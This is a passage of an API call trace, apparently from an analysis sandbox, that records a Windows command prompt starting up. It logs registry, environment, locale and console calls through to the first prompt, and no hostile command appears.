Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0101.608] GetConsoleOutputCP () returned 0x1b5 [0101.967] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75b81fbb0 | out: lpCPInfo=0x7ff75b81fbb0) returned 1 [0101.967] SetConsoleCtrlHandler (HandlerRoutine=0x7ff75b808150, Add=1) returned 1 [0101.967] _get_osfhandle (_FileHandle=1) returned 0x270 [0101.968] GetConsoleMode (in: hConsoleHandle=0x270, lpMode=0x7ff75b81fc04 | out: lpMode=0x7ff75b81fc04) returned 0 [0101.968] _get_osfhandle (_FileHandle=0) returned 0x264 [0101.968] GetConsoleMode (in: hConsoleHandle=0x264, lpMode=0x7ff75b81fc00 | out: lpMode=0x7ff75b81fc00) returned 0 [0101.968] _get_osfhandle (_FileHandle=1) returned 0x270 [0101.968] SetConsoleMode (hConsoleHandle=0x270, dwMode=0x0) returned 0 [0101.968] _get_osfhandle (_FileHandle=1) returned 0x270 [0101.968] GetConsoleMode (in: hConsoleHandle=0x270, lpMode=0x7ff75b81fc08 | out: lpMode=0x7ff75b81fc08) returned 0 [0101.968] _get_osfhandle (_FileHandle=0) returned 0x264 [0101.968] GetConsoleMode (in: hConsoleHandle=0x264, lpMode=0x7ff75b81fc0c | out: lpMode=0x7ff75b81fc0c) returned 0 [0101.968] GetEnvironmentStringsW () returned 0x1df77e35a10* [0101.969] GetProcessHeap () returned 0x1df77e30000 [0101.969] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0xa7c) returned 0x1df77e364a0 [0101.969] FreeEnvironmentStringsA (penv="A") returned 1 [0101.969] GetProcessHeap () returned 0x1df77e30000 [0101.969] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x8) returned 0x1df77e36f30 [0101.969] GetEnvironmentStringsW () returned 0x1df77e35a10* [0101.969] GetProcessHeap () returned 0x1df77e30000 [0101.969] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0xa7c) returned 0x1df77e36f50 [0101.969] FreeEnvironmentStringsA (penv="A") returned 1 [0101.969] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x70c73feb78 | out: phkResult=0x70c73feb78*=0x7c) returned 0x0 [0101.970] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x0, lpData=0x70c73feb90*=0x4, lpcbData=0x70c73feb74*=0x1000) returned 0x2 [0101.970] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x4, lpData=0x70c73feb90*=0x1, lpcbData=0x70c73feb74*=0x4) returned 0x0 [0101.970] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x0, lpData=0x70c73feb90*=0x1, lpcbData=0x70c73feb74*=0x1000) returned 0x2 [0101.970] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x4, lpData=0x70c73feb90*=0x0, lpcbData=0x70c73feb74*=0x4) returned 0x0 [0101.970] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x4, lpData=0x70c73feb90*=0x40, lpcbData=0x70c73feb74*=0x4) returned 0x0 [0101.970] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x4, lpData=0x70c73feb90*=0x40, lpcbData=0x70c73feb74*=0x4) returned 0x0 [0101.970] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x0, lpData=0x70c73feb90*=0x40, lpcbData=0x70c73feb74*=0x1000) returned 0x2 [0101.970] RegCloseKey (hKey=0x7c) returned 0x0 [0101.970] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x70c73feb78 | out: phkResult=0x70c73feb78*=0x7c) returned 0x0 [0101.970] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x0, lpData=0x70c73feb90*=0x40, lpcbData=0x70c73feb74*=0x1000) returned 0x2 [0101.971] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x4, lpData=0x70c73feb90*=0x1, lpcbData=0x70c73feb74*=0x4) returned 0x0 [0101.971] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x0, lpData=0x70c73feb90*=0x1, lpcbData=0x70c73feb74*=0x1000) returned 0x2 [0101.971] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x4, lpData=0x70c73feb90*=0x0, lpcbData=0x70c73feb74*=0x4) returned 0x0 [0101.971] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x4, lpData=0x70c73feb90*=0x9, lpcbData=0x70c73feb74*=0x4) returned 0x0 [0101.971] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x4, lpData=0x70c73feb90*=0x9, lpcbData=0x70c73feb74*=0x4) returned 0x0 [0101.971] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x70c73feb70, lpData=0x70c73feb90, lpcbData=0x70c73feb74*=0x1000 | out: lpType=0x70c73feb70*=0x0, lpData=0x70c73feb90*=0x9, lpcbData=0x70c73feb74*=0x1000) returned 0x2 [0101.971] RegCloseKey (hKey=0x7c) returned 0x0 [0101.971] time (in: timer=0x0 | out: timer=0x0) returned 0x5ea199f3 [0101.971] srand (_Seed=0x5ea199f3) [0101.971] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0101.971] malloc (_Size=0x4000) returned 0x1df781d54f0 [0101.972] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0101.972] malloc (_Size=0xffce) returned 0x1df78000080 [0101.972] ??_V@YAXPEAX@Z () returned 0x1df78000080 [0101.973] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1df78000080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0101.973] malloc (_Size=0xffce) returned 0x1df78010060 [0101.974] ??_V@YAXPEAX@Z () returned 0x1df78010060 [0101.974] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1df78010060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0101.974] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0101.975] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0101.975] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0101.975] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0101.975] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0101.975] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0101.975] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0101.975] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0101.975] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0101.975] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0101.975] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0101.975] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0101.975] GetProcessHeap () returned 0x1df77e30000 [0101.975] RtlFreeHeap (HeapHandle=0x1df77e30000, Flags=0x0, BaseAddress=0x1df77e364a0) returned 1 [0101.975] GetEnvironmentStringsW () returned 0x1df77e35a10* [0101.976] GetProcessHeap () returned 0x1df77e30000 [0101.976] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0xa94) returned 0x1df77e37a10 [0101.976] FreeEnvironmentStringsA (penv="A") returned 1 [0101.976] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0101.976] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0101.976] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0101.976] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0101.976] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0101.976] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0101.976] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0101.976] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0101.976] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0101.976] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0101.976] malloc (_Size=0xffce) returned 0x1df78020040 [0101.977] ??_V@YAXPEAX@Z () returned 0x1df78020040 [0101.977] GetProcessHeap () returned 0x1df77e30000 [0101.977] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x40) returned 0x1df77e384b0 [0101.977] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1df78020040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0101.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1df78020040, lpFilePart=0x70c73ff6f0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x70c73ff6f0*="Desktop") returned 0x17 [0101.978] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0101.979] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x70c73ff420 | out: lpFindFileData=0x70c73ff420*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1df77e38500 [0101.979] FindClose (in: hFindFile=0x1df77e38500 | out: hFindFile=0x1df77e38500) returned 1 [0101.979] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x70c73ff420 | out: lpFindFileData=0x70c73ff420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1df77e38500 [0101.979] FindClose (in: hFindFile=0x1df77e38500 | out: hFindFile=0x1df77e38500) returned 1 [0101.979] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x70c73ff420 | out: lpFindFileData=0x70c73ff420*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1803cefc, ftLastAccessTime.dwHighDateTime=0x1d61974, ftLastWriteTime.dwLowDateTime=0x1803cefc, ftLastWriteTime.dwHighDateTime=0x1d61974, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1df77e38500 [0101.979] FindClose (in: hFindFile=0x1df77e38500 | out: hFindFile=0x1df77e38500) returned 1 [0101.980] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0101.980] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0101.980] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0101.980] GetProcessHeap () returned 0x1df77e30000 [0101.980] RtlFreeHeap (HeapHandle=0x1df77e30000, Flags=0x0, BaseAddress=0x1df77e37a10) returned 1 [0101.980] GetEnvironmentStringsW () returned 0x1df77e30fc0* [0101.980] GetProcessHeap () returned 0x1df77e30000 [0101.980] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0xacc) returned 0x1df77e38500 [0101.980] FreeEnvironmentStringsA (penv="=") returned 1 [0101.980] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1df78000080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0101.980] GetProcessHeap () returned 0x1df77e30000 [0101.980] RtlFreeHeap (HeapHandle=0x1df77e30000, Flags=0x0, BaseAddress=0x1df77e384b0) returned 1 [0101.980] ??_V@YAXPEAX@Z () returned 0x1 [0101.980] ??_V@YAXPEAX@Z () returned 0x1 [0101.980] GetProcessHeap () returned 0x1df77e30000 [0101.980] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x4016) returned 0x1df77e38fe0 [0101.981] GetProcessHeap () returned 0x1df77e30000 [0101.981] RtlFreeHeap (HeapHandle=0x1df77e30000, Flags=0x0, BaseAddress=0x1df77e38fe0) returned 1 [0101.981] GetConsoleOutputCP () returned 0x1b5 [0102.841] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75b81fbb0 | out: lpCPInfo=0x7ff75b81fbb0) returned 1 [0102.841] GetUserDefaultLCID () returned 0x409 [0102.843] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff75b81bb78, cchData=8 | out: lpLCData=":") returned 2 [0102.843] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x70c73ffab0, cchData=128 | out: lpLCData="0") returned 2 [0102.843] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x70c73ffab0, cchData=128 | out: lpLCData="0") returned 2 [0102.843] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x70c73ffab0, cchData=128 | out: lpLCData="1") returned 2 [0102.843] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff75b81bb68, cchData=8 | out: lpLCData="/") returned 2 [0102.843] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff75b81bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0102.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff75b81bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0102.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff75b81ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0102.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff75b81ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0102.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff75b81ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0102.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff75b81b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0102.844] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff75b81b980, cchData=32 | out: lpLCData="Sun") returned 4 [0102.844] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff75b81bb58, cchData=8 | out: lpLCData=".") returned 2 [0102.844] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff75b81bb40, cchData=8 | out: lpLCData=",") returned 2 [0102.844] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0102.847] GetProcessHeap () returned 0x1df77e30000 [0102.847] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x0, Size=0x20c) returned 0x1df77e36560 [0102.847] GetConsoleTitleW (in: lpConsoleTitle=0x1df77e36560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0103.115] _get_osfhandle (_FileHandle=1) returned 0x270 [0103.115] GetFileType (hFile=0x270) returned 0x3 [0103.617] ApiSetQueryApiSetPresence () returned 0x0 [0103.617] ResolveDelayLoadedAPI () returned 0x7ffcddefd990 [0105.057] BrandingFormatString () returned 0x1df77e36a50 [0105.069] GetVersion () returned 0x3ad7000a [0105.069] _vsnwprintf (in: _Buffer=0x70c73ffc10, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x70c73ffba8 | out: _Buffer="10.0.15063") returned 10 [0105.069] _get_osfhandle (_FileHandle=1) returned 0x270 [0105.069] GetFileType (hFile=0x270) returned 0x3 [0105.069] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff75b827f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0105.073] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff75b827f60, nSize=0x2000, Arguments=0x70c73ffbb0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0105.073] _get_osfhandle (_FileHandle=1) returned 0x270 [0105.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0105.073] WriteFile (in: hFile=0x270, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x70c73ffb08, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0x70c73ffb08*=0x26, lpOverlapped=0x0) returned 1 [0105.073] _vsnwprintf (in: _Buffer=0x7ff75b827f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x70c73ffbd8 | out: _Buffer="\r\n") returned 2 [0105.074] _get_osfhandle (_FileHandle=1) returned 0x270 [0105.074] GetFileType (hFile=0x270) returned 0x3 [0105.074] _get_osfhandle (_FileHandle=1) returned 0x270 [0105.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0105.074] WriteFile (in: hFile=0x270, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x70c73ffba8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0x70c73ffba8*=0x2, lpOverlapped=0x0) returned 1 [0105.074] _vsnwprintf (in: _Buffer=0x7ff75b827f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x70c73ffbd8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0105.074] _get_osfhandle (_FileHandle=1) returned 0x270 [0105.074] GetFileType (hFile=0x270) returned 0x3 [0105.074] _get_osfhandle (_FileHandle=1) returned 0x270 [0105.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0105.074] WriteFile (in: hFile=0x270, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x70c73ffba8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0x70c73ffba8*=0x34, lpOverlapped=0x0) returned 1 [0105.074] _vsnwprintf (in: _Buffer=0x7ff75b827f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x70c73ffbd8 | out: _Buffer="\r\n") returned 2 [0105.074] _get_osfhandle (_FileHandle=1) returned 0x270 [0105.074] GetFileType (hFile=0x270) returned 0x3 [0105.074] _get_osfhandle (_FileHandle=1) returned 0x270 [0105.075] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0105.075] WriteFile (in: hFile=0x270, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x70c73ffba8, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0x70c73ffba8*=0x2, lpOverlapped=0x0) returned 1 [0105.075] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0105.075] GetProcAddress (hModule=0x7ffce9120000, lpProcName="CopyFileExW") returned 0x7ffce913e830 [0105.075] GetProcAddress (hModule=0x7ffce9120000, lpProcName="IsDebuggerPresent") returned 0x7ffce913e300 [0105.076] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffce6900a40 [0105.076] ??_V@YAXPEAX@Z () returned 0x1 [0105.076] _get_osfhandle (_FileHandle=0) returned 0x264 [0105.076] GetFileType (hFile=0x264) returned 0x3 [0105.077] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0105.077] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x70c73ffa18 | out: TokenHandle=0x70c73ffa18*=0x0) returned 0xc000007c [0105.077] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x70c73ffa18 | out: TokenHandle=0x70c73ffa18*=0x98) returned 0x0 [0105.077] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x12, TokenInformation=0x70c73ff9c8, TokenInformationLength=0x4, ReturnLength=0x70c73ff9d0 | out: TokenInformation=0x70c73ff9c8, ReturnLength=0x70c73ff9d0) returned 0x0 [0105.077] NtQueryInformationToken (in: TokenHandle=0x98, TokenInformationClass=0x1a, TokenInformation=0x70c73ff9d0, TokenInformationLength=0x4, ReturnLength=0x70c73ff9c8 | out: TokenInformation=0x70c73ff9d0, ReturnLength=0x70c73ff9c8) returned 0x0 [0105.077] NtClose (Handle=0x98) returned 0x0 [0105.077] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x70c73ff9e0, nSize=0x0, Arguments=0x70c73ff9e8 | out: lpBuffer="᧰矣ǟ") returned 0xf [0105.077] GetProcessHeap () returned 0x1df77e30000 [0105.077] RtlAllocateHeap (HeapHandle=0x1df77e30000, Flags=0x8, Size=0x218) returned 0x1df77e36c30 [0105.083] GetConsoleTitleW (in: lpConsoleTitle=0x70c73ffa30, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0105.298] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0105.298] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0105.735] GetProcessHeap () returned 0x1df77e30000 [0105.735] RtlFreeHeap (HeapHandle=0x1df77e30000, Flags=0x0, BaseAddress=0x1df77e36c30) returned 1 [0105.735] LocalFree (hMem=0x1df77e319f0) returned 0x0 [0106.627] _vsnwprintf (in: _Buffer=0x7ff75b827f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x70c73ff858 | out: _Buffer="\r\n") returned 2 [0106.627] _get_osfhandle (_FileHandle=1) returned 0x270 [0106.627] GetFileType (hFile=0x270) returned 0x3 [0106.627] _get_osfhandle (_FileHandle=1) returned 0x270 [0106.627] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0106.627] WriteFile (in: hFile=0x270, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x70c73ff828, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0x70c73ff828*=0x2, lpOverlapped=0x0) returned 1 [0106.627] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75b81bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0106.627] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1df78000080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0106.627] malloc (_Size=0x107ce) returned 0x1df78010060 [0106.628] _vsnwprintf (in: _Buffer=0x1df78010060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x70c73ff868 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0106.629] _vsnwprintf (in: _Buffer=0x1df7801008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x70c73ff868 | out: _Buffer=">") returned 1 [0106.629] _get_osfhandle (_FileHandle=1) returned 0x270 [0106.629] GetFileType (hFile=0x270) returned 0x3 [0106.629] _get_osfhandle (_FileHandle=1) returned 0x270 [0106.629] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff75b819970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0106.629] WriteFile (in: hFile=0x270, lpBuffer=0x7ff75b819970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x70c73ff858, lpOverlapped=0x0 | out: lpBuffer=0x7ff75b819970*, lpNumberOfBytesWritten=0x70c73ff858*=0x18, lpOverlapped=0x0) returned 1 [0106.629] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.629] GetFileType (hFile=0x264) returned 0x3 [0106.629] _get_osfhandle (_FileHandle=0) returned 0x264 [0106.629] SetFilePointer (in: hFile=0x264, 